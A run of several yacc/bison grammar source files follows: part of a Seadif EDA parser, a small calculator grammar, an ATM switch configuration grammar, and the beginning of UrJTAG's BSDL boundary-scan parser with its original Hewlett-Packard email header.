debug ("_DelAsg RBR")
$$ = delasgPtr;
}
;
_DelAsg :
{
debug ("empty _DelAsg")
$$ = delasgPtr;
}
| _DelAsg TmStatus
{
debug ("_DelAsg Status")
delasgPtr->status = $2;
$$ = delasgPtr;
}
| _DelAsg ClockCycle
{
debug ("_DelAsg ClockCycle")
delasgPtr->clockCycle = $2;
$$ = delasgPtr;
}
| _DelAsg DelAsgInstList
{
debug ("_DelAsg DelAsgInstList")
delasgPtr->pathDelays = $2;
$$ = delasgPtr;
}
| _DelAsg Comment
{
$$ = delasgPtr;
}
| _DelAsg UserData
{
$$ = delasgPtr;
}
;
ClockCycle : LBR CLOCKCYCLETOKEN NUMBER RBR
{
debug ("LBR CLOCKCYCLETOKEN NUMBER RBR")
$$ = atol ($3);
}
;
DelAsgInstList : LBR DELASGINSTLISTTOKEN
{
debug ("LBR DELASGINSTLISTTOKEN")
delasginstlistPtr = NULL;
$<delasginst>$ = delasginstlistPtr;
}
_DelAsgInstList RBR
{
debug ("_DelAsgInstList RBR")
$$ = delasginstlistPtr;
}
;
_DelAsgInstList :
{
debug ("empty _DelAsgInstList")
$$ = delasginstlistPtr;
}
| _DelAsgInstList DelAsgInst
{
debug ("_DelAsgInstList DelAsgInst")
($2)->next = delasginstlistPtr;
delasginstlistPtr = $2;
$$ = delasginstlistPtr;
}
;
DelAsgInst : LBR DELASGINSTTOKEN STRNG TPathRef TcPointRef RBR
{
debug ("LBR DELASGINSTTOKEN STRNG TPathRef TcPointRef RBR")
if (sdfwhat & SDFCIRTM)
{
NewDelAsgInst (delasginstPtr);
delasginstPtr->name = canonicstring ($3);
delasginstPtr->tPath = $4; /* here we will get string pointers */
delasginstPtr->selected = $5; /* because these references cannot be now solved */
}
else
delasginstPtr = &junkdelasginst;
$$ = delasginstPtr;
}
;
TPathRef : LBR TPATHREFTOKEN STRNG RBR
{
debug ("LBR TPATHREFTOKEN STRNG RBR")
$$ = (TPATHPTR)canonicstring ($3); /* this reference will be solved later */
}
;
TcPointRef : LBR TCPOINTREFTOKEN STRNG RBR
{
debug ("LBR TCPOINTREFTOKEN STRNG RBR")
$$ = (TCPOINTPTR)canonicstring ($3); /* this reference will be solved later */
}
/* ########## IK, end of timing extensions */
;
Alias : LBR ALIAS STRNG RBR
{
if (sdfwrite)
{
STRING thealias = NULL;
if (sdfparseonelib)
{
thealias = sdflibalias (sdfwritethislib->name);
sdfhavethisthing |= SDF_X_LIBALIAS;
}
else if (sdfparseonefun)
{
thealias = sdffunalias (sdfwritethisfun->name, sdfwritethisfun->library->name);
sdfhavethisthing |= SDF_X_FUNALIAS;
}
else if (sdfparseonecir)
{
thealias = sdfciralias (sdfwritethiscir->name, sdfwritethiscir->function->name,
sdfwritethiscir->function->library->name);
sdfhavethisthing |= SDF_X_CIRALIAS;
}
else if (sdfparseonelay)
{
thealias = sdflayalias (sdfwritethislay->name, sdfwritethislay->circuit->name,
sdfwritethislay->circuit->function->name,
sdfwritethislay->circuit->function->library->name);
sdfhavethisthing |= SDF_X_LAYALIAS;
}
sdfabortcopy (SDFDISCARDSPACES);
sdfdodelayedcopy (0); /* flush */
dump_alias (sdfcopystream, thealias);
sdfcopytheinput = TRUE;
}
$$ = $3;
}
;
%%
#include "sdflex.h"
#ifndef YY_CURRENT_BUFFER
#define YY_CURRENT_BUFFER yy_current_buffer
#endif
void yyerror (char *s)
{
sdfreport (Error, "%s (Seadif parser): %s\nTry line %d.", FilNam, s, yylineno);
}
/* Convert ascii string to a short integer. Report on overflow. */
PRIVATE short atos (char *str)
{
long base, sign, value, digit;
short result;
char *orgstr = str, c;
sign = 1; /* default is positive */
base = 10; /* default is decimal */
value = 0;
if (!(c = *str++)) return ((short)value);
else if (c == '-') { c = *str++; sign = -1; } /* negative number */
else if (c == '+') c = *str++; /* skip positive sign */
if (!c) return ((short)value);
else if (c == '0') /* number starts with a zero digit, must be octal or hex */
{
c = *str++;
if (!c) return ((short)value);
else if (c == 'x' || c == 'X') { /* hex */
base = 16;
c = *str++;
}
else base = 8; /* octal */
}
do {
digit = c - '0'; /* compute digit's value */
if (digit >= base || digit < 0)
{
if (base == 8) str = "an octal";
else if (base == 16) str = "a hexadecimal";
else str = "a decimal";
sdfreport (Error, "%s\nDigit '%c' not allowed in %s number.\n"
"Assume zero value and hope for the best (line %d).", FilNam, c, str, yylineno);
return ((short)0);
}
value = value * base + digit; /* compute number's value */
}
while ((c = *str++) != '\0');
result = (short)(value *= sign); /* convert long integer to short integer */
if ((long)result != value) {
sdfreport (Warning, "%s\nI cannot store your number '%s' in a short integer.\n"
"Assume zero value and hope for the best (line %d).\n", FilNam, orgstr, yylineno);
return ((short)0);
}
return (result);
}
PRIVATE char *downcase (char *str)
{
char *s;
int c, captolower = 'A' - 'a';
for (s = str; (c = *s); ++s)
if (c >= 'A' && c <= 'Z') *s = c - captolower;
return (str);
}
PRIVATE char *printfilnam ()
{
char *s;
fnprinted = TRUE;
s = (char*)malloc (strlen (seadifinputfilename) + 32);
if (!s) sdfreport (Fatal, "(Seadif parser): cannot malloc");
sprintf (s, "\n*** TROUBLE in file ``%s'' ***\n", seadifinputfilename);
return (s);
}
int sdfparse (int idx)
{
if (idx >= 0)
{
yyin = sdffileinfo[idx].fdes;
seadifinputfilename = sdffileinfo[idx].name;
}
libraryptr = &junklibrary; libraryptr -> name = NULL;
functionptr = &junkfunction; functionptr -> name = NULL;
circuitptr = &junkcircuit; circuitptr -> name = NULL;
layoutptr = &junklayout; layoutptr -> name = NULL;
if (YY_CURRENT_BUFFER) yyrestart (yyin); /* re-init the parser */
sdfreadidx = sdfdocopy = 0;
yylineno = 1; /* reset the line number for yyerror() */
sdffilepos = -1; /* reset file position (for subsequent use with fseek) */
if (yyparse () == 0) {
if (sdfcopytheinput) {
/* I already forgot where this is for... better not remove it ! */
sdfdodelayedcopy (0); /* flush */
putc ('\n', sdfcopystream);
}
return (0); /* 0 means OK */
}
return (1);
}
/* This one assumes that you've already seen a '(' and
* now want to skip the remaining part of the expression.
*/
PRIVATE void skipthisthing ()
{
int bracecount = 1, sometoken;
while (bracecount > 0)
if ((sometoken = yylex ()) == LBRTOKEN)
++bracecount;
else if (sometoken == RBR)
--bracecount;
}
/* This one attempts to copy the S-expression in the input stream
* and return this copy. Doesn't do a very good job -- might be
* fixed in a future release.
*/
PRIVATE char *copythisthing ()
{
char *s;
int bracecount = 1, sometoken, len, j = 0;
while (bracecount > 0)
{
if ((sometoken = yylex ()) == LBRTOKEN) {
if (j >= MAXNAMELEN) goto err;
sdftmpstring[j++] = '(';
++bracecount;
}
else if (sometoken == RBR) {
if (--bracecount > 0) { /* don't copy the last ')' */
if (j >= MAXNAMELEN) goto err;
sdftmpstring[j++] = ')';
}
}
else {
s = sometoken == STRNG ? yylval.str : "#keyword#";
len = strlen (s);
if (j + len > MAXNAMELEN) goto err;
strcpy (sdftmpstring + j, s); j += len;
}
if (bracecount) {
if (j >= MAXNAMELEN) goto err;
sdftmpstring[j++] = ' ';
}
}
/* get rid of trailing space */
while (--j > 0 && sdftmpstring[j] == ' ') ;
sdftmpstring[j+1] = '\0';
return (sdftmpstring);
err:
sdfreport (Fatal, "%s (Seadif parser): buf overflow\nTry line %d.", FilNam, yylineno);
return (sdftmpstring);
}
PRIVATE void checkthatalllayhasbeenwritten (int thingsstilltobewritten)
{
int oldspacing;
fprintf (stderr, "checkthatalllayhasbeenwritten %x %x %x\n",
thingsstilltobewritten, SDFLAYPORT, SDFLAYLABEL);
/* need to write things not present in the current layout */
oldspacing = setdumpspacing (0); /* save spaces in the scratch file */
if (thingsstilltobewritten & SDF_X_LAYALIAS)
dump_alias (sdfcopystream, sdflayalias (
sdfwritethislay->name,
sdfwritethislay->circuit->name,
sdfwritethislay->circuit->function->name,
sdfwritethislay->circuit->function->library->name));
if (thingsstilltobewritten & SDFLAYSTAT && sdfwritethislay->status)
dump_status (sdfcopystream, sdfwritethislay->status);
if (thingsstilltobewritten & SDFLAYOFF && sdfwritethislay)
dump_off (sdfcopystream, sdfwritethislay->off);
if (thingsstilltobewritten & SDFLAYBBX && sdfwritethislay)
dump_bbx (sdfcopystream, sdfwritethislay->bbx);
if (thingsstilltobewritten & SDFLAYPORT && sdfwritethislay)
dump_layportlist (sdfcopystream, sdfwritethislay->layport);
if (thingsstilltobewritten & SDFLAYLABEL && sdfwritethislay)
dump_laylabellist (sdfcopystream, sdfwritethislay->laylabel);
if (thingsstilltobewritten & SDFLAYSLICE && sdfwritethislay->slice)
dump_slice (sdfcopystream, sdfwritethislay->slice);
if (thingsstilltobewritten & SDFLAYWIRE && sdfwritethislay->wire)
dump_wirelist (sdfcopystream, sdfwritethislay->wire);
setdumpspacing (oldspacing);
}
PRIVATE void checkthatallcirhasbeenwritten (int thingsstilltobewritten)
{
/* need to write things not present in the current circuit */
int oldspacing = setdumpspacing (0); /* save spaces in the scratch file */
if (thingsstilltobewritten & SDF_X_CIRALIAS)
dump_alias (sdfcopystream, sdfciralias (
sdfwritethiscir->name,
sdfwritethiscir->function->name,
sdfwritethiscir->function->library->name));
if (thingsstilltobewritten & SDFCIRSTAT && sdfwritethiscir->status)
dump_status (sdfcopystream, sdfwritethiscir->status);
if (thingsstilltobewritten & SDFCIRPORT && sdfwritethiscir)
dump_cirportlist (sdfcopystream, sdfwritethiscir->cirport);
if (thingsstilltobewritten & SDFCIRINST && sdfwritethiscir->cirinst)
dump_cirinst (sdfcopystream, sdfwritethiscir->cirinst);
if (thingsstilltobewritten & SDFCIRNETLIST && sdfwritethiscir->netlist)
dump_netlist (sdfcopystream, sdfwritethiscir->netlist);
if (thingsstilltobewritten & SDFCIRBUS && sdfwritethiscir->buslist)
dump_buslist (sdfcopystream, sdfwritethiscir->buslist);
if (thingsstilltobewritten & SDFCIRTM && sdfwritethiscir->timing)
dump_timing (sdfcopystream, sdfwritethiscir->timing);
setdumpspacing (oldspacing);
}
PRIVATE void checkthatallfunhasbeenwritten (int thingsstilltobewritten)
{
/* need to write things not present in the current function */
int oldspacing = setdumpspacing (0); /* save spaces in the scratch file */
if (thingsstilltobewritten & SDF_X_FUNALIAS)
dump_alias (sdfcopystream, sdffunalias (
sdfwritethisfun->name,
sdfwritethisfun->library->name));
if (thingsstilltobewritten & SDFFUNSTAT && sdfwritethisfun->status)
dump_status (sdfcopystream, sdfwritethisfun->status);
if (thingsstilltobewritten & SDFFUNTYPE && sdfwritethisfun->type)
dump_funtype (sdfcopystream, sdfwritethisfun->type);
setdumpspacing (oldspacing);
}
PRIVATE void checkthatalllibhasbeenwritten (int thingsstilltobewritten)
{
/* need to write things not present in the current function */
int oldspacing = setdumpspacing (0); /* save spaces in the scratch file */
if (thingsstilltobewritten & SDF_X_LIBALIAS)
dump_alias (sdfcopystream, sdflibalias (sdfwritethislib->name));
if (thingsstilltobewritten & SDFLIBSTAT && sdfwritethislib->status)
dump_status (sdfcopystream, sdfwritethislib->status);
setdumpspacing (oldspacing);
}
int nextchar (FILEPTR stream)
{
int c = getc (stream);
ungetc (c, stream);
return (c);
}
#ifdef __cplusplus_xxx
/* We defined the folowing 2 macros in seadif.l, which is included above as
* "flex.seadif.c". This time make sure we get the REAL free() and malloc()
* from the standard C library, and NOT recursive calls to cplusplusfree()
* and to cplusplusmalloc()...
*/
#undef malloc /* #define'd as cplusplusmalloc(x) */
#undef free /* #define'd as cplusplusfree(x) */
void cplusplusfree (char *p)
{
free (p);
}
char *cplusplusmalloc (unsigned n)
{
return (char *)malloc (n);
}
#endif /* __cplusplus */
int yywrap (void)
{
return 1;
}
int sdfstrcasecmp (char *s1, char *s2)
{
while (*s1 && *s2) {
if (tolower (*s1) != tolower (*s2)) break;
++s1;
++s2;
}
return (int)(*s1 - *s2);
}
|
<gh_stars>1-10
%{
#include "main.h"
#include <stdio.h>
#define code2(c1,c2) code(c1); code(c2)
#define code3(c1,c2,c3) code(c1); code(c2); code(c3)
%}
%union {
Symbol *sym; /* symbol table pointer */
double val;
Inst *inst; /* machine instruction */
}
%token <sym> NUMBER VAR BLTIN UNDEF
%right '='
%left '+' '-'
%left '*' '/'
%left UNARYMINUS
%right '^' /* exponentiation */
%%
list: /* nothing */
| list '\n'
| list asgn '\n' { code2(mypop, STOP); return 1; }
| list expr '\n' { code2(print, STOP); return 1; }
| list error '\n' { yyerrok; }
;
asgn: VAR '=' expr { code3(varpush,(Inst)$1,assign); }
;
expr: NUMBER { code2(constpush, (Inst)$1); }
| VAR { code3(varpush, (Inst)$1, eval); }
| asgn
| BLTIN '(' expr ')' { code2(bltin, (Inst)$1->value.ptr); }
| '(' expr ')'
| expr '+' expr { code(add); }
| expr '-' expr { code(sub); }
| expr '*' expr { code(mul); }
| expr '/' expr { code(mydiv); }
| expr '^' expr { code(power); }
| '-' expr %prec UNARYMINUS { code(negate); }
;
%%
|
<filename>snapgear_linux/lib/libatm/src/switch/cfg_y.y
%{
/* cfg.y - switch configuration language */
/* Written 1998 by <NAME>, EPFL ICA */
#if HAVE_CONFIG_H
#include <config.h>
#endif
#include <string.h>
#include <errno.h>
#include <limits.h>
#include "atm.h"
#include "fab.h"
#include "sig.h"
#include "route.h"
#include "swc.h"
static int itf;
static SIGNALING_ENTITY *sig;
%}
%union {
int num;
char *str;
struct sockaddr_atmpvc pvc;
};
%token TOK_COMMAND TOK_VPCI TOK_ITF TOK_DEFAULT
%token <str> TOK_ROUTE TOK_STR TOK_SOCKET TOK_OPTION TOK_CONTROL
%token <num> TOK_NUM
%token <pvc> TOK_PVC
%type <str> opt_command
%%
all:
| option all
| sig all
| TOK_CONTROL all
{
control_init($1);
}
;
option:
TOK_OPTION TOK_STR
{
fab_option($1,$2);
}
;
sig:
opt_command TOK_SOCKET '{'
{
itf = 0;
}
opt_itf
{
char *tmp;
tmp = strdup($2);
if (!tmp) yyerror(strerror(errno));
sig = sig_vc($1,tmp,itf);
}
opt_via
routes '}'
;
opt_command:
{
$$ = NULL;
}
| TOK_COMMAND TOK_STR
{
$$ = strdup($2);
if (!$$) yyerror(strerror(errno));
}
;
opt_itf:
| TOK_ITF TOK_NUM
{
itf = $2;
}
;
opt_via:
| TOK_PVC
{
sig->pvc = $1;
}
;
routes:
| route routes
| TOK_DEFAULT
{
put_route(NULL,0,sig);
}
routes
;
route:
TOK_ROUTE
{
struct sockaddr_atmsvc addr;
char *mask;
mask = strchr($1,'/');
if (mask) *mask++ = 0;
if (text2atm($1,(struct sockaddr *) &addr,sizeof(addr),
T2A_SVC | T2A_WILDCARD | T2A_NAME | T2A_LOCAL) < 0) {
yyerror("invalid address");
return;
}
put_route(&addr,mask ? strtol(mask,NULL,10) : INT_MAX,sig);
}
;
|
/*
* $Id: bsdl_bison.y 1345 2008-08-27 20:40:16Z arniml $
*
* Original Yacc code by <NAME>, 1990
* Extensions and adaptions for UrJTAG by <NAME>, 2007
*
*/
/* ----------------------------------------------------------------------- */
/* */
/* Yacc code for BSDL */
/* */
/* ----------------------------------------------------------------------- */
/* Date: 901003 */
/*
Email header accompanying the original Yacc code:
http://www.eda.org/vug_bbs/bsdl.parser
-----------------------------------8<--------------------------------------
Hello All,
This is this first mailing of the BSDL* Version 0.0 parser specifications
we are sending to people who request it from our publicized E-Mail address;
<EMAIL>
You are free to redistribute this at will, but we feel that it would be
better if respondents asked for it directly so that their addresses can
be entered into our list for future mailings and updates.
It would be helpful if you could confirm receipt of this transmission.
We also would be very interested to hear about your experiences with this
information and what you are planning to do with BSDL.
Regards,
<NAME>
Hewlett-Packard Company
*Boundary-Scan Description Language - as documented in:
"A Language for Describing Boundary-Scan Devices", <NAME>
and <NAME>, Proceedings 1990 International Test Conference,
Washington DC, pp 222-234
- -----------------cut here---------------------------------------------------
901004.0721 Hewlett-Packard Company
901016.1049 Manufacturing Test Division
P.O. Box 301
Loveland, Colorado 80537
USA
October 1990
Hello BSDL Parser Requestor,
This Electronic Mail reply contains the computer specifications for
Hewlett-Packard's Version 0.0 BSDL parser. This section of the reply
explains the contents of the rest of this file.
This file is composed of seven (7) parts:
1) How to use this file
2) UNIX* Lex source (lexicographical tokenizing rules)
3) UNIX* Yacc source (BNF-like syntax description)
4) A sample main program to recognize BSDL.
5) A BSDL description of the Texas Instruments 74bct8374 that is
recognized by the parser, for testing purposes.
6) The VHDL package STD_1149_1_1990 needed by this parser.
7) [added 901016] Porting experiences to other systems.
RECOMMENDATION: Save a copy of this file in archival storage before
processing it via the instructions below. This will
allow you to recover from errors, and allow you to
compare subsequently released data for changes.
DISCLAIMERS:
1. The IEEE 1149.1 Working Group has not endorsed BSDL Version 0.0 and
therefore no person may represent it as an IEEE standard or imply that
a resulting IEEE standard will be identical to it.
2. The IEEE 1149.1 Working Group recognizes that BSDL Version 0.0 is a
well-conceived initiative that is likely to excelerate the creation
of tools that support the 1149.1 standard. As such, changes and
enhancements will be carefully considered so as not to needlessly
disrupt these development efforts. The overriding goal is the
ultimate success of the 1149.1 standard.
LEGAL NOTICES:
Hewlett-Packard Company makes no warranty of any kind with regard to
this information, including, but not limited to, the implied
waranties of merchantability and fitness for a particular purpose.
Hewlett-Packard Company shall not be liable for errors contained
herein or direct, indirect, special, incidental, or consequential
damages in connection with the furnishing, performance, or use of
this material.
*UNIX is a trademark of AT&T in the USA and other countries.
*/
%pure-parser
%parse-param {bsdl_parser_priv_t *priv_data}
%defines
%name-prefix="bsdl"
%{
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
#include "bsdl_sysdep.h"
#include "bsdl_types.h"
#include "bsdl_msg.h"
/* interface to flex */
#include "bsdl_bison.h"
#include "bsdl_parser.h"
#ifdef DMALLOC
#include "dmalloc.h"
#endif
#define YYLEX_PARAM priv_data->scanner
int yylex (YYSTYPE *, void *);
#if 1
#define ERROR_LIMIT 0
#define BUMP_ERROR if (bsdl_flex_postinc_compile_errors( priv_data->scanner ) > ERROR_LIMIT) \
{Give_Up_And_Quit( priv_data ); YYABORT;}
#else
#define BUMP_ERROR {Give_Up_And_Quit( priv_data );YYABORT;}
#endif
static void Print_Error( bsdl_parser_priv_t *, const char * );
static void Print_Warning( bsdl_parser_priv_t *, const char * );
static void Give_Up_And_Quit( bsdl_parser_priv_t * );
/* semantic functions */
static void add_instruction( bsdl_parser_priv_t *, char *, char * );
static void ac_set_register( bsdl_parser_priv_t *, char *, int );
static void ac_add_instruction( bsdl_parser_priv_t *, char * );
static void ac_apply_assoc( bsdl_parser_priv_t * );
static void prt_add_name( bsdl_parser_priv_t *, char * );
static void prt_add_bit( bsdl_parser_priv_t * );
static void prt_add_range( bsdl_parser_priv_t *, int, int );
static void ci_no_disable( bsdl_parser_priv_t * );
static void ci_set_cell_spec_disable( bsdl_parser_priv_t *, int, int, int );
static void ci_set_cell_spec( bsdl_parser_priv_t *, int, char * );
static void ci_append_cell_info( bsdl_parser_priv_t *, int );
void yyerror( bsdl_parser_priv_t *, const char * );
%}
%union {
int integer;
char *str;
}
%token CONSTANT PIN_MAP
%token PHYSICAL_PIN_MAP PIN_MAP_STRING
%token TAP_SCAN_IN TAP_SCAN_OUT TAP_SCAN_MODE TAP_SCAN_RESET
%token TAP_SCAN_CLOCK
%token INSTRUCTION_LENGTH INSTRUCTION_OPCODE INSTRUCTION_CAPTURE INSTRUCTION_DISABLE
%token INSTRUCTION_GUARD INSTRUCTION_PRIVATE
%token REGISTER_ACCESS
%token BOUNDARY_LENGTH BOUNDARY_REGISTER IDCODE_REGISTER
%token USERCODE_REGISTER BOUNDARY DEVICE_ID
%token INPUT OUTPUT2 OUTPUT3 CONTROL CONTROLR INTERNAL
%token CLOCK BIDIR BIDIR_IN BIDIR_OUT
%token Z WEAK0 WEAK1 IDENTIFIER
%token PULL0 PULL1 KEEPER
%token DECIMAL_NUMBER BINARY_PATTERN
%token BIN_X_PATTERN COMMA
%token LPAREN RPAREN LBRACKET RBRACKET COLON ASTERISK
%token COMPLIANCE_PATTERNS
%token OBSERVE_ONLY
%token BYPASS CLAMP EXTEST HIGHZ IDCODE INTEST PRELOAD RUNBIST SAMPLE USERCODE
%token COMPONENT_CONFORMANCE STD_1149_1_1990 STD_1149_1_1993 STD_1149_1_2001
%token ISC_CONFORMANCE STD_1532_2001 STD_1532_2002
%token ISC_PIN_BEHAVIOR
%token ISC_FIXED_SYSTEM_PINS
%token ISC_STATUS IMPLEMENTED
%token ISC_BLANK_USERCODE
%token ISC_SECURITY ISC_DISABLE_READ ISC_DISABLE_PROGRAM ISC_DISABLE_ERASE ISC_DISABLE_KEY
%token ISC_FLOW UNPROCESSED EXIT_ON_ERROR ARRAY SECURITY INITIALIZE REPEAT TERMINATE
%token LOOP MIN MAX DOLLAR EQUAL HEX_STRING WAIT REAL_NUMBER
%token PLUS MINUS SH_RIGHT SH_LEFT TILDE QUESTION_MARK EXCLAMATION_MARK QUESTION_EXCLAMATION
%token CRC OST
%token ISC_PROCEDURE
%token ISC_ACTION PROPRIETARY OPTIONAL RECOMMENDED
%token ISC_ILLEGAL_EXIT
%token ILLEGAL
%type <str> HEX_STRING
%type <str> BIN_X_PATTERN
%type <str> IDENTIFIER
%type <str> BINARY_PATTERN
%type <str> Binary_Pattern
%type <str> Binary_Pattern_List
%type <str> REAL_NUMBER
%type <integer> DECIMAL_NUMBER
%type <integer> Cell_Function
%type <str> Safe_Value
%type <integer> Disable_Value
%type <str> Standard_Reg
%type <str> Instruction_Name
%start BSDL_Statement
%% /* End declarations, begin rules */
BSDL_Statement : BSDL_Pin_Map
| BSDL_Map_String
| BSDL_Tap_Scan_In
| BSDL_Tap_Scan_Out
| BSDL_Tap_Scan_Mode
| BSDL_Tap_Scan_Reset
| BSDL_Tap_Scan_Clock
| BSDL_Inst_Length
| BSDL_Opcode
| BSDL_Inst_Capture
| BSDL_Inst_Disable
| BSDL_Inst_Guard
| BSDL_Inst_Private
| BSDL_Idcode_Register
| BSDL_Usercode_Register
| BSDL_Register_Access
| BSDL_Boundary_Length
| BSDL_Boundary_Register
| BSDL_Compliance_Patterns
| BSDL_Component_Conformance
| ISC_Extension
| error
{
Print_Error( priv_data, _("Unsupported BSDL construct found") );
BUMP_ERROR;
YYABORT;
}
;
/****************************************************************************/
BSDL_Pin_Map : PIN_MAP PHYSICAL_PIN_MAP
;
/****************************************************************************/
BSDL_Map_String : PIN_MAP_STRING Pin_Mapping
| BSDL_Map_String COMMA Pin_Mapping
;
Pin_Mapping : IDENTIFIER COLON Physical_Pin_Desc
{ free( $1 ); }
;
Physical_Pin_Desc : Physical_Pin
| LPAREN Physical_Pin_List RPAREN
;
Physical_Pin_List : Physical_Pin
| Physical_Pin_List COMMA Physical_Pin
;
Physical_Pin : IDENTIFIER
{ free( $1 ); }
| IDENTIFIER LPAREN DECIMAL_NUMBER RPAREN
{ free( $1 ); }
| DECIMAL_NUMBER
;
/****************************************************************************/
BSDL_Tap_Scan_In : TAP_SCAN_IN DECIMAL_NUMBER
;
/****************************************************************************/
BSDL_Tap_Scan_Out : TAP_SCAN_OUT DECIMAL_NUMBER
;
/****************************************************************************/
BSDL_Tap_Scan_Mode : TAP_SCAN_MODE DECIMAL_NUMBER
;
/****************************************************************************/
BSDL_Tap_Scan_Reset : TAP_SCAN_RESET DECIMAL_NUMBER
;
/****************************************************************************/
BSDL_Tap_Scan_Clock : TAP_SCAN_CLOCK DECIMAL_NUMBER
;
/****************************************************************************/
BSDL_Inst_Length : INSTRUCTION_LENGTH DECIMAL_NUMBER
{ priv_data->jtag_ctrl->instr_len = $2; }
;
/****************************************************************************/
BSDL_Opcode : INSTRUCTION_OPCODE BSDL_Opcode_Table
;
BSDL_Opcode_Table : Opcode_Desc
| BSDL_Opcode_Table COMMA Opcode_Desc
| error
{
Print_Error( priv_data,
_("Error in Instruction_Opcode attribute statement") );
BUMP_ERROR;
YYABORT;
}
;
Opcode_Desc : IDENTIFIER LPAREN Binary_Pattern_List RPAREN
{ add_instruction( priv_data, $1, $3 ); }
;
Binary_Pattern_List : Binary_Pattern
{ $$ = $1; }
| Binary_Pattern_List COMMA Binary_Pattern
{
Print_Warning( priv_data,
_("Multiple opcode patterns are not supported, first pattern will be used") );
$$ = $1;
free( $3 );
}
;
Binary_Pattern : BINARY_PATTERN
{ $$ = $1; }
;
/****************************************************************************/
BSDL_Inst_Capture : INSTRUCTION_CAPTURE BIN_X_PATTERN
{ free( $2 ); }
;
/****************************************************************************/
BSDL_Inst_Disable : INSTRUCTION_DISABLE IDENTIFIER
{ free( $2 ); }
;
/****************************************************************************/
BSDL_Inst_Guard : INSTRUCTION_GUARD IDENTIFIER
{ free( $2 ); }
;
/****************************************************************************/
BSDL_Inst_Private : INSTRUCTION_PRIVATE Private_Opcode_List
;
Private_Opcode_List : Private_Opcode
| Private_Opcode_List COMMA Private_Opcode
| error
{
Print_Error( priv_data, _("Error in Opcode List") );
BUMP_ERROR;
YYABORT;
}
;
Private_Opcode : IDENTIFIER
{ free( $1 ); }
;
/****************************************************************************/
BSDL_Idcode_Register : IDCODE_REGISTER BIN_X_PATTERN
{ priv_data->jtag_ctrl->idcode = $2; }
;
/****************************************************************************/
BSDL_Usercode_Register : USERCODE_REGISTER BIN_X_PATTERN
{ priv_data->jtag_ctrl->usercode = $2; }
;
/****************************************************************************/
BSDL_Register_Access : REGISTER_ACCESS Register_String
;
Register_String : Register_Assoc
| Register_String COMMA Register_Assoc
;
Register_Assoc : Register_Decl LPAREN Reg_Opcode_List RPAREN
{ ac_apply_assoc( priv_data ); }
;
Register_Decl : Standard_Reg
{ ac_set_register( priv_data, $1, 0 ); }
| IDENTIFIER LBRACKET DECIMAL_NUMBER RBRACKET
{ ac_set_register( priv_data, $1, $3 ); }
;
Standard_Reg : BOUNDARY
{ $$ = strdup( "BOUNDARY" ); }
| BYPASS
{ $$ = strdup( "BYPASS" ); }
| IDCODE
{ $$ = strdup( "IDCODE" ); }
| USERCODE
{ $$ = strdup( "USERCODE" ); }
| DEVICE_ID
{ $$ = strdup( "DEVICE_ID" ); }
;
Reg_Opcode_List : Reg_Opcode
| Reg_Opcode_List COMMA Reg_Opcode
;
Instruction_Name : BYPASS
{ $$ = strdup( "BYPASS" ); }
| CLAMP
{ $$ = strdup( "CLAMP" ); }
| EXTEST
{ $$ = strdup( "EXTEST" ); }
| HIGHZ
{ $$ = strdup( "HIGHZ" ); }
| IDCODE
{ $$ = strdup( "IDCODE" ); }
| INTEST
{ $$ = strdup( "INTEST" ); }
| PRELOAD
{ $$ = strdup( "PRELOAD" ); }
| RUNBIST
{ $$ = strdup( "RUNBIST" ); }
| SAMPLE
{ $$ = strdup( "SAMPLE" ); }
| USERCODE
{ $$ = strdup( "USERCODE" ); }
| IDENTIFIER
{ $$ = $1; }
;
Reg_Opcode : Instruction_Name
{ ac_add_instruction( priv_data, $1 ); }
;
/****************************************************************************/
BSDL_Boundary_Length : BOUNDARY_LENGTH DECIMAL_NUMBER
{ priv_data->jtag_ctrl->bsr_len = $2; }
;
/****************************************************************************/
BSDL_Boundary_Register : BOUNDARY_REGISTER BSDL_Cell_Table
;
BSDL_Cell_Table : Cell_Entry
| BSDL_Cell_Table COMMA Cell_Entry
| error
{Print_Error( priv_data, _("Error in Boundary Cell description") );
BUMP_ERROR; YYABORT; }
;
Cell_Entry : DECIMAL_NUMBER LPAREN Cell_Info RPAREN
{ ci_append_cell_info( priv_data, $1 ); }
;
Cell_Info : Cell_Spec
{ ci_no_disable( priv_data ); }
| Cell_Spec COMMA Disable_Spec
;
Cell_Spec : IDENTIFIER COMMA Port_Name COMMA Cell_Function
COMMA Safe_Value
{
free( $1 );
ci_set_cell_spec( priv_data, $5, $7 );
}
;
Port_Name : IDENTIFIER
{
prt_add_name( priv_data, $1 );
prt_add_bit( priv_data );
}
| IDENTIFIER LPAREN DECIMAL_NUMBER RPAREN
{
prt_add_name( priv_data, $1 );
prt_add_range( priv_data, $3, $3 );
}
| ASTERISK
{
prt_add_name( priv_data, strdup( "*" ) );
prt_add_bit( priv_data );
}
;
Cell_Function : INPUT
{ $$ = INPUT; }
| OUTPUT2
{ $$ = OUTPUT2; }
| OUTPUT3
{ $$ = OUTPUT3; }
| CONTROL
{ $$ = CONTROL; }
| CONTROLR
{ $$ = CONTROLR; }
| INTERNAL
{ $$ = INTERNAL; }
| CLOCK
{ $$ = CLOCK; }
| BIDIR
{ $$ = BIDIR; }
| OBSERVE_ONLY
{ $$ = OBSERVE_ONLY; }
;
Safe_Value : IDENTIFIER
{ $$ = $1; }
| DECIMAL_NUMBER
{
char *tmp;
tmp = (char *)malloc( 2 );
snprintf( tmp, 2, "%i", $1 );
tmp[1] = '\0';
$$ = tmp;
}
;
Disable_Spec : DECIMAL_NUMBER COMMA DECIMAL_NUMBER COMMA Disable_Value
{ ci_set_cell_spec_disable( priv_data, $1, $3, $5 ); }
;
Disable_Value : Z
{ $$ = Z; }
| WEAK0
{ $$ = WEAK0; }
| WEAK1
{ $$ = WEAK1; }
| PULL0
{ $$ = PULL0; }
| PULL1
{ $$ = PULL1; }
| KEEPER
{ $$ = KEEPER; }
;
/****************************************************************************/
BSDL_Compliance_Patterns : COMPLIANCE_PATTERNS BSDL_Compliance_Pattern
;
BSDL_Compliance_Pattern : LPAREN Physical_Pin_List RPAREN
{ bsdl_flex_set_bin_x( priv_data->scanner ); }
LPAREN Bin_X_Pattern_List RPAREN
;
Bin_X_Pattern_List : BIN_X_PATTERN
{ free( $1 ); }
| Bin_X_Pattern_List COMMA BIN_X_PATTERN
{ free( $3 ); }
;
/****************************************************************************/
BSDL_Component_Conformance : COMPONENT_CONFORMANCE STD_1149_1_1990
{ priv_data->jtag_ctrl->conformance = CONF_1990; }
| COMPONENT_CONFORMANCE STD_1149_1_1993
{ priv_data->jtag_ctrl->conformance = CONF_1993; }
